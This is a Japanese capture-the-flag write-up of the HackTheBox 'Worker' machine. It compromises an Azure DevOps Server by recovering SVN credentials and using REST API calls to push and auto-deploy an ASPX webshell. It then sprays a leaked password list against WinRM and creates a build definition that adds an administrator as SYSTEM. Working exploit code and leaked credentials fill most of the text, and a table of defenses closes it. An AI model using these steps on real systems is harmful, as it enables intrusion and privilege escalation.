Hack The BoxのWriteup(Worker)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Worker — 全実行コマンド・実行結果レポート
Nmap スキャン
80/3690/5985
→
SVN r2復元
nathen:wendel98
→
NTLM認証突破
requests_ntlm (Basicは常に401)
→
REST APIでwebshell配備
Refs+Pushes+PR マージ
→
cmdasp.aspx RCE
SVN passwdスプレー→user.txt
→
Build Administrators
robisl所属
→
悪性ビルド定義
SYSTEM(WORKER$)で実行
→
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.2.29
nmap -sV -sC -p 80,3690,5985 10.129.2.29
RESULT
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
|_http-title: Dimension by HTML5 UP
| http-methods:
|_  Potentially risky methods: TRACE
3690/tcp open  svnserve Subversion
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
🚨
重要発見: ポート3690(svnserve)が開いており、匿名チェックアウトが 可能な場合は内部のコード/設定情報が丸ごと読める。IIS(80)は静的サイト「Dimension」のみで 目立つ脆弱性なし。5985(WinRM)は資格情報獲得後の横移動先として重要。
PHASE 2

SVNリビジョン履歴からの平文クレデンシャル回収

匿名チェックアウト & コミット履歴確認

BASH
svn checkout svn://10.129.2.29 worker_svn
svn log svn://10.129.2.29
RESULT
r5 | nathen | Added note that repo has been migrated
r4 | nathen | Moving this repo to our new devops server which will handle the deployment for us
r3 | nathen | -
r2 | nathen | Added deployment script
r1 | nathen | First version
ℹ️
最新リビジョン(r5)にはmoved.txtしか残っていないが、r2で追加された deploy.ps1はr3で削除されている。Subversionは削除してもリビジョン履歴から 過去のファイル内容を復元できるため、r2時点のスナップショットに戻せば読める。

削除済みリビジョンの復元 (deploy.ps1)

BASH
svn update -r 2 worker_svn
cat worker_svn/deploy.ps1
RESULT (deploy.ps1)
$user = "nathen"
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)
$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
$args = "Copy-Site.ps1"
Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
✅
平文クレデンシャル nathen:wendel98 を獲得。r5のメモ通り、デプロイ業務は 「新しいdevopsサーバー」(=Azure DevOps Server)に移管されている。
PHASE 3

Azure DevOps Server (devops.worker.htb) — NTLM突破とREST APIでのwebshell配備

vhost解決 & Basic認証が常に失敗する罠

BASH
echo "10.129.2.29 devops.worker.htb dimension.worker.htb spectral.worker.htb" | sudo tee -a /etc/hosts
curl -v --basic -u 'nathen:wendel98' http://devops.worker.htb/
RESULT
> Authorization: Basic bmF0aGVuOndlbmRlbDk4
< HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer
WWW-Authenticate: Basic realm="http://devops.worker.htb/"
WWW-Authenticate: NTLM
X-TFS-ServiceError: TF400813: Resource not available for anonymous access...
🚨
重要な罠: サーバーはWWW-Authenticate: Basicを広告しているのに、 正しいAuthorization: Basicヘッダーを送っても常に401になる (curlで直接確認、ヘッダー送信自体は-vで正しく確認済み)。このTFS(Azure DevOps Server) インスタンスは実質NTLMのみを受理する。さらにKaliのcurlビルドは --ntlm未対応(GnuTLS系ビルドでNTLM機能なし)、git CLIが使うシステムlibcurlも 同様にNTLM非対応のため、git clone http://user:pass@devops.../repoも 認証失敗で使えない。
PYTHON (NTLM認証)
pip install requests_ntlm   # 事前にインストール済みか確認

import requests
from requests_ntlm import HttpNtlmAuth
r = requests.get('http://devops.worker.htb/', auth=HttpNtlmAuth('nathen', 'wendel98'))
print(r.status_code)   # → 200
✅
requests_ntlm.HttpNtlmAuth経由だと即座に200 OK。 以降すべてのAzure DevOps REST API呼び出しはこのHttpNtlmAuthオブジェクトを auth=に渡すことで解決する。

spectralリポジトリ特定 & gitを使わないREST APIでの分岐作成

PYTHON
base = 'http://devops.worker.htb/ekenas/SmartHotel360'
r = requests.get(f'{base}/_apis/git/repositories/spectral?api-version=5.0', auth=auth)
repo_id = r.json()['id']   # c60da4ba-5d2a-415a-8534-b1ad4b36b14e

# master の現HEADを取得
r = requests.get(f'{base}/_apis/git/repositories/{repo_id}/refs?filter=heads/master&api-version=5.0', auth=auth)
master_obj = r.json()['value'][0]['objectId']

# ★ gitを使わず Refs API で直接ブランチを作成 (masterの先端から分岐)
requests.post(f'{base}/_apis/git/repositories/{repo_id}/refs?api-version=5.0', auth=auth,
    json=[{'name':'refs/heads/shell','oldObjectId':'0'*40,'newObjectId':master_obj}])

# ★ Pushes API で cmdasp.aspx を追加するコミットを直接作成
shell = open('/usr/share/webshells/aspx/cmdasp.aspx').read()
body = {
    'refUpdates': [{'name':'refs/heads/shell','oldObjectId':master_obj}],
    'commits': [{'comment':'updated with shell',
        'changes':[{'changeType':'add','item':{'path':'/cmdasp.aspx'},
                    'newContent':{'content':shell,'contentType':'rawtext'}}]}]
}
r = requests.post(f'{base}/_apis/git/repositories/{repo_id}/pushes?api-version=5.0', auth=auth, json=body)
commit_id = r.json()['commits'][0]['commitId']
ℹ️
git CLIが使えないため、Refs API(ブランチ作成) → Pushes API(コミット作成)という 2段階のREST呼び出しだけでローカルにリポジトリをcloneすることなく直接コミットを作成できる。 最初にoldObjectId:"0"*40でブランチをmasterの先端へ作成し、続けて そのブランチに対しoldObjectId:master_objを親として指定したpushを行うことで、 masterの全ファイルを引き継いだ正しい履歴の新規コミットになる。

Pull Request作成 → ブランチポリシー2件の回避 → マージ完了

PYTHON
r = requests.post(f'{base}/_apis/git/repositories/{repo_id}/pullrequests?api-version=5.0', auth=auth,
    json={'sourceRefName':'refs/heads/shell','targetRefName':'refs/heads/master',
          'title':'updated with shell','description':'updated with shell'})
pr_id = r.json()['pullRequestId']

body = {'status':'completed','lastMergeSourceCommit':{'commitId':commit_id},
        'completionOptions':{'deleteSourceBranch':False}}
r = requests.patch(f'{base}/_apis/git/repositories/{repo_id}/pullrequests/{pr_id}?api-version=5.0',
    auth=auth, json=body)
print(r.status_code, r.text)
RESULT
403 The pull request needs a minimum number of approvals (1) before it can be completed.
⚠️
1つ目のポリシー: 最低1承認が必須。connectionDataから自分自身のreviewer IDを取得し、 PRのreviewersへvote:10(Approved)として自分を追加すれば回避できる。 注意: connectionDataはコレクション直下のエンドポイント (http://devops.worker.htb/ekenas/_apis/connectionData)であり、プロジェクト配下の URLで呼ぶとJSONでないエラーページが返りJSONDecodeErrorになる。
PYTHON (自己承認)
collection_base = 'http://devops.worker.htb/ekenas'
r = requests.get(f'{collection_base}/_apis/connectionData', auth=auth)
reviewer_id = r.json()['authenticatedUser']['id']
requests.put(f'{base}/_apis/git/repositories/{repo_id}/pullrequests/{pr_id}/reviewers/{reviewer_id}?api-version=5.0',
    auth=auth, json={'vote':10})

# 再度complete → 2つ目のポリシーに引っかかる
r = requests.patch(f'{base}/_apis/git/repositories/{repo_id}/pullrequests/{pr_id}?api-version=5.0', auth=auth, json=body)
print(r.status_code, r.text)
RESULT
403 The pull request must be linked to a work item before it can be completed.
⚠️
2つ目のポリシー: 作業項目(Work Item)へのリンクが必須。既存の作業項目(WIQLで検索すると ID 1〜7が存在)のいずれかへ、PRのvstfs:///Git/PullRequestId/{projectId}%2f{repoId}%2f{prId} というArtifactLinkをJSON Patchで追加すれば満たせる。
PYTHON (作業項目リンク+再完了)
project_id = requests.get(f'{collection_base}/_apis/projects/SmartHotel360?api-version=5.0', auth=auth).json()['id']
vstfs = f'vstfs:///Git/PullRequestId/{project_id}%2f{repo_id}%2f{pr_id}'
patch = [{'op':'add','path':'/relations/-',
          'value':{'rel':'ArtifactLink','url':vstfs,'attributes':{'name':'Pull Request'}}}]
requests.patch(f'{collection_base}/_apis/wit/workitems/1?api-version=5.0', auth=auth,
    data=json.dumps(patch), headers={'Content-Type':'application/json-patch+json'})

r = requests.patch(f'{base}/_apis/git/repositories/{repo_id}/pullrequests/{pr_id}?api-version=5.0', auth=auth, json=body)
print(r.status_code, r.json().get('status'), r.json().get('mergeStatus'))
RESULT
200 active queued  ← 即時レスポンスはまだ"完了"になっていない!
🚨
タイミングの罠: HTTPステータス200が返っても、このTFSインスタンスでは PRのマージ処理が非同期で、応答直後のstatusはactive・ mergeStatusはqueuedのままのことがある。1〜2秒後に同じPRをGETで 再確認するとstatus: completed, mergeStatus: succeededに変わっている。 PATCHの応答だけで成否判定してはならず、短いポーリングで実際の完了を確認する必要がある。
PYTHON (完了ポーリング)
import time
for _ in range(15):
    d = requests.get(f'{base}/_apis/git/repositories/{repo_id}/pullrequests/{pr_id}?api-version=5.0', auth=auth).json()
    if d['status'] == 'completed':
        print(d['status'], d['mergeStatus']); break
    time.sleep(2)
RESULT
completed succeeded

CI自動デプロイの待機

BASH
for i in $(seq 1 20); do
  code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 8 http://spectral.worker.htb/cmdasp.aspx)
  echo "try $i: $code"; [ "$code" = "200" ] && break; sleep 5
done
RESULT
try 1: 404
try 2: 404
try 3: 200
✅
Spectral-CIパイプラインのトリガーは+refs/heads/masterのみ(ビルド定義のJSONで確認済み)。 PRマージでmasterが更新されたことを検知し、自動的にw:\sites\spectral.worker.htbへ webshellがデプロイされた(約15秒)。
PHASE 4

cmdasp.aspx経由のRCE & SVN passwdスプレーでuser.txt

ASP.NET WebForms postback経由のコマンド実行

PYTHON
import re, html
def shell_cmd(cmd):
    url = 'http://spectral.worker.htb/cmdasp.aspx'
    r1 = requests.get(url, timeout=15)
    vs = re.search(r'id="__VIEWSTATE" value="([^"]*)"', r1.text)
    vg = re.search(r'id="__VIEWSTATEGENERATOR" value="([^"]*)"', r1.text)
    ev = re.search(r'id="__EVENTVALIDATION" value="([^"]*)"', r1.text)
    data = {'__VIEWSTATE': vs.group(1), 'txtArg': cmd, 'testing': 'excute'}
    if vg: data['__VIEWSTATEGENERATOR'] = vg.group(1)
    if ev: data['__EVENTVALIDATION'] = ev.group(1)
    r2 = requests.post(url, data=data, timeout=15)
    m = re.search(r'<pre>(.*?)</pre>', r2.text, re.S)
    return html.unescape(m.group(1)) if m else r2.text

print(shell_cmd('whoami'))
RESULT
iis apppool\defaultapppool
ℹ️
ボタンのラベルが"excute"(スペルミス)になっているのはシェル自体の仕様。 __VIEWSTATE等のASP.NETフォーム状態を正しく付け直して送らないとpostbackが発火しない。

追加マウントドライブのSVN平文クレデンシャル一覧を取得

BASH
shell_cmd(r'type w:\svnrepos\www\conf\passwd')
RESULT (抜粋)
[users]
nathen = wendel98
nichin = fqerfqerf
...
robisl = wolves11
...
samken = aqua
ℹ️
約40ユーザー分のusername = password形式の一覧が丸ごと読める。これをWinRMへ スプレーする。

WinRMクレデンシャルスプレー & user.txt取得

BASH
nxc winrm 10.129.2.29 -u users.txt -p passwords.txt --no-bruteforce
RESULT
WINRM  10.129.2.29  5985  WORKER  [*] Windows 10 / Server 2019 Build 17763 (name:WORKER) (domain:Worker)
...(多数の失敗)...
WINRM  10.129.2.29  5985  WORKER  [+] Worker\robisl:wolves11 (Pwn3d!)
BASH
nxc winrm 10.129.2.29 -u robisl -p wolves11 -x 'type C:\Users\robisl\Desktop\user.txt'
RESULT
dea93d2d1d27915c8d174c1f9c6d165a
user.txt — robisl
dea93d2d1d27915c8d174c1f9c6d165a
PHASE 5

Build Administrators 権限昇格の下調べ

robisl のAzure DevOpsアクセス権確認

PYTHON
auth = HttpNtlmAuth('robisl','wolves11')
r = requests.get('http://devops.worker.htb/ekenas/_apis/projects?api-version=5.0', auth=auth)
print(r.json())
RESULT
{"count":1,"value":[{"id":"c5760d1e-...","name":"PartsUnlimited",...}]}
ℹ️
robislは(SmartHotel360とは別の)PartsUnlimitedプロジェクトが見える。 このユーザーはAzure DevOpsのBuild Administratorsグループに所属しており、 任意のビルド定義(パイプライン)を作成する権限を持つ。

エージェントプール “Setup” の罠 — pool ID ≠ queue ID

PYTHON
base = 'http://devops.worker.htb/ekenas/PartsUnlimited'
r = requests.get(f'{base}/_apis/distributedtask/pools?api-version=5.0', auth=auth)
print(r.status_code)  # 404 (プロジェクトスコープでは存在しないエンドポイント)

collection_base = 'http://devops.worker.htb/ekenas'
r = requests.get(f'{collection_base}/_apis/distributedtask/pools?api-version=5.0', auth=auth)
print(r.json()['value'])   # → id=3, name="Setup" (プールID)
⚠️
distributedtask/poolsはコレクション直下のエンドポイント。 プール名”Setup”のID(=3)が分かったので、そのままビルド定義のqueue.idに 渡してみると…
PYTHON
body['queue'] = {'id': 3}   # プールID
r = requests.post(f'{base}/_apis/build/definitions?api-version=5.0', auth=auth, json=body)
print(r.status_code, r.text)
RESULT
400 No agent pool found with identifier 3.
🚨
重要な罠: ビルド定義のqueue.idは「プール」のIDではなく、 プロジェクト単位でプールをラップした別物の「キュー」のIDを要求する。 distributedtask/queues(プレビューAPI必須、api-version=5.0-preview.1)を プロジェクトスコープで問い合わせる必要がある。
PYTHON (正しいキューID取得)
r = requests.get(f'{base}/_apis/distributedtask/queues?api-version=5.0-preview.1', auth=auth)
for q in r.json()['value']:
    print(q['id'], q['pool']['name'])
RESULT
7 Setup   ← プールID(3)とは別の「キューID」(7)
PHASE 6

悪性ビルド定義 → SYSTEM実行 → root.txt

ローカル管理者作成用のビルド定義を作成

PYTHON
repo_id = requests.get(f'{base}/_apis/git/repositories?api-version=5.0', auth=auth) \
    .json()['value'][0]['id']   # PartsUnlimitedリポジトリ
queue_id = 7
ps_script = 'net user cube Password123! /add ; net localgroup administrators cube /add'

body = {
    'name': 'PartsUnlimited-CI-Pwn', 'type': 'build', 'quality': 'definition',
    'queue': {'id': queue_id},
    'repository': {'id': repo_id, 'type': 'TfsGit', 'name': 'PartsUnlimited',
                   'defaultBranch': 'refs/heads/master', 'clean': 'false'},
    'process': {'type': 1, 'phases': [{
        'name': 'Agent job 1',
        'steps': [{'enabled': True, 'displayName': 'PowerShell Script',
            'task': {'id': 'e213ff0f-5d5c-4791-802d-52ea3e7be1f1',  # PowerShell@2
                      'versionSpec': '2.*', 'definitionType': 'task'},
            'inputs': {'targetType': 'inline', 'script': ps_script,
                       'errorActionPreference': 'stop', 'pwsh': 'false'}}],
        'target': {'executionOptions': {'type': 0}, 'type': 1}
    }]}
}
r = requests.post(f'{base}/_apis/build/definitions?api-version=5.0', auth=auth, json=body)
def_id = r.json()['id']
print(def_id)
RESULT
27  (ビルド定義 "PartsUnlimited-CI-Pwn" 作成成功)

ビルドをキューし SYSTEM コンテキストでの実行を待機

PYTHON
r = requests.post(f'{base}/_apis/build/builds?api-version=5.0', auth=auth, json={'definition':{'id':27}})
build_id = r.json()['id']

import time
while True:
    d = requests.get(f'{base}/_apis/build/builds/{build_id}?api-version=5.0', auth=auth).json()
    if d['status'] == 'completed':
        print(d['result']); break
    time.sleep(5)
RESULT
succeeded
✅
ビルドエージェント(“Setup”プール、Hamilton1)はマシンアカウント WORKER$(=SYSTEM相当)として動作しているため、インラインPowerShellタスクが SYSTEM権限でそのまま実行され、ローカル管理者cube:Password123!が作成される。

cube でWinRMログインしroot.txt取得

BASH
nxc winrm 10.129.2.29 -u cube -p 'Password123!' -x 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
WINRM  10.129.2.29  5985  WORKER  [+] Worker\cube:Password123! (Pwn3d!)
WINRM  10.129.2.29  5985  WORKER  a3550c60814a17b084cc86700a046c23
root.txt — Administrator@Worker
a3550c60814a17b084cc86700a046c23
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — robisl
dea93d2d1d27915c8d174c1f9c6d165a
root.txt — Administrator@Worker
a3550c60814a17b084cc86700a046c23

使用した脆弱性・設計不備

脆弱性/不備対象影響深刻度利用方法
SVN削除済みリビジョン復元 svnserve (3690) 平文クレデンシャル漏洩 Medium svn update -r 2で一度削除されたdeploy.ps1を復元しnathen:wendel98を取得
CI/CDパイプライン悪用による任意ファイル配備 Azure DevOps Server (Spectral-CI) IIS apppool権限でのRCE High REST APIでブランチ作成・コミット・PR作成/承認/作業項目リンク/マージを行い、CIにASPX webshellを自動デプロイさせる
追加共有ドライブ上の平文クレデンシャル一覧 w:\svnrepos\www\conf\passwd 約40アカウントのパスワード漏洩 Medium webshell経由でファイルを直接読み取りWinRMへスプレー
Build Administrators権限昇格 Azure DevOps ビルドエージェント (WORKER$) SYSTEMコンテキストでの任意コード実行 Critical 任意のビルド定義(インラインPowerShellタスク)を作成しビルドをキューするだけでエージェントのマシンアカウント権限で実行される

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap80(IIS)/3690(svnserve)/5985(WinRM)
2SVN削除済みリビジョン復元nathen:wendel98
3CI/CD悪用NTLM認証+REST API(Refs/Pushes/PR)cmdasp.aspx自動デプロイ
4RCE/資格情報窃取ASP.NET postback RCE + SVN passwdスプレーuser.txt(robisl:wolves11)
5権限調査Azure DevOps REST API(pools/queues)Build Administrators所属確認、正しいqueue ID
6権限昇格悪性ビルド定義でSYSTEM実行root.txt(cube:Password123!経由)

学んだ教訓 & 防御策

問題点防御策
svnserveの匿名チェックアウトで削除済みリビジョンまで読める SVNの匿名アクセスを無効化し、過去に平文クレデンシャルをコミットした履歴はsvnadmin obliterate相当の手段で完全消去する(単なる削除コミットでは不十分)。
一般開発者が任意のPull RequestをCI/CDの自動デプロイ対象ブランチへマージできる mainブランチへのマージはコードレビュー担当者による実質的な承認(自己承認を許可しない設定)と、デプロイ内容の静的解析/サンドボックス実行を組み合わせる。
追加マウント共有に平文クレデンシャル一覧ファイルを保持 SVN等のレガシー認証ファイルを本番共有に残さず、パスワードは即座にハッシュ化・一元管理する。
一般ユーザーがBuild Administratorsグループに所属し任意のビルド定義(≒任意コード実行)を作成できる Build Administrators権限は最小限のCI管理者のみに付与し、セルフホストエージェントをマシンアカウント(SYSTEM相当)で動かさない(専用の低権限サービスアカウントを使う)。
HackTheBox: Worker | 完全攻略レポート